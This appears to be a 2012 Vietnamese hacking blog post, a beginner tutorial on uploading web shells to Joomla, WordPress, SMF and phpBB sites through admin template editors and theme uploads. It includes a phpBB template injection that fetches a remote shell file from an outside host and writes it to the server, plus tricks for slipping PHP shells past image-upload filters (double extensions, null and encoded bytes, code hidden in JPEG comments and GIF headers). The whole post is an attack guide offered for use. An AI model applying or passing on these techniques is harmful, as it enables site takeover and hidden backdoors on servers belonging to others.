Thứ Bảy, 16 tháng 6, 2012
[TUT] - Kỹ thuật upshell cho Newbie
Up Shell đối với:5.Up shell qua bug up ảnh:
1.Joomla Site:After Login into admin panel u will find Extensions on 5th No. expand this
click on it > Template Manager > check on any template (like beez,ja_purity)
Now click on Edit (right upper side)
after this click on Edit html
now paste ur shell code and click save...... Done
site.com/templates/template name/index.php
like site.com/templates/rc/index.php
2.Wordpress:Login into admin panel
expand Appearance then click on editor > u will find style.css
now select 404.php on right side
paste ur shell code and click edit file
u can find shell in site.com/wp-content/themes/theme name u edit/404.php
3.SMF:Login into adminpanel
u need to download any smf theme in zip format and put ur shell.php in it and save
admin panel > select Themes and Layout > Install a new theme > browse and upload theme thats have our shell.php
after upload shell will find > site.com/Themes/theme name/shell.php
4.phpBB:login into admin panel > go on styles -> templates -> edit, for Template file choose faq_body.html
At down of:
PHP Code:
We add:<!-- INCLUDE overall_header.html -->
And save it.[PHP]<!-- PHP -->
fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->
Now go on:
http://www.site.com/forum/faq.php?o=....com/shell.txt
Shell find in site path/shell.php
Nếu cho upload mỗi file image (bmp, gif, jpg, jpeg) thì sao ?
+ Thử thay đuôi cá xem : shell.php.jpg
+ Thử chơi NULL byte: shell.php.jpg
+ Thử mấy HEX byte chơi trội: shell.php%25%30%30.jpg
+ Thử mấy Unicode Byte shell.phpU+0025U+0030.jpg
+ Kiếm một file ảnh JPG, nhét nguyên code con shell vào trong comment của photo
+ Chèn code shell vào header của photo
GIF89a
<?php //code shell ?>
<?php //code shell ?>
Chuyên Mục:
Local Attack,
TUTORIALS
Đăng ký:
Đăng Nhận xét (Atom)
Không có nhận xét nào: